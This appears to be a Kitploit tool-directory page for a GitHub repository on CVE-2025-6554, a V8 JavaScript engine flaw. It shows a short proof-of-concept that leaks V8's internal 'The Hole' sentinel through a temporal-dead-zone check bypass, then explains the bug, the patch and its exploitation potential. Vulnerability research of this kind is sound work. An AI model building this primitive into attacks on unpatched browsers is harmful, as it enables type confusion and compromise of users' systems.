Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-6554 | Kitploit
Tools/GitHubGitHub/pwntoday/cve-2025-6554
Vulnerability AnalysisExploitationPapers & ResearchLearning & EducationBinary Exploitation
GitHubpwntoday/cve-2025-6554

CVE-2025-6554

View Repository
211 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-6554

root@kitploit:~
function leak_hole() {
    let x;
    delete x?.[y]?.a;
    return y;
    let y;
}
function pwn() {
    let hole = leak_hole();
    %DebugPrint(hole);
}
pwn();

Bug

A variable y was accessed before declaration. Normally this should trigger a ReferenceError (TDZ), but in older V8, when combined with delete x?.[y], the check failed and returned the internal sentinel value "The Hole".

Before Patch

V8 only checked for TDZ once, then incorrectly assumed y was valid. This allowed "The Hole" to escape into user code.

Fix

The patch forces a fresh TDZ check (ThrowReferenceErrorIfHole) on every access, ensuring y before initialization always throws.

Impact: Attackers could capture "The Hole" and abuse it for type confusion, stack tricks, or scope bypasses.

Download Tool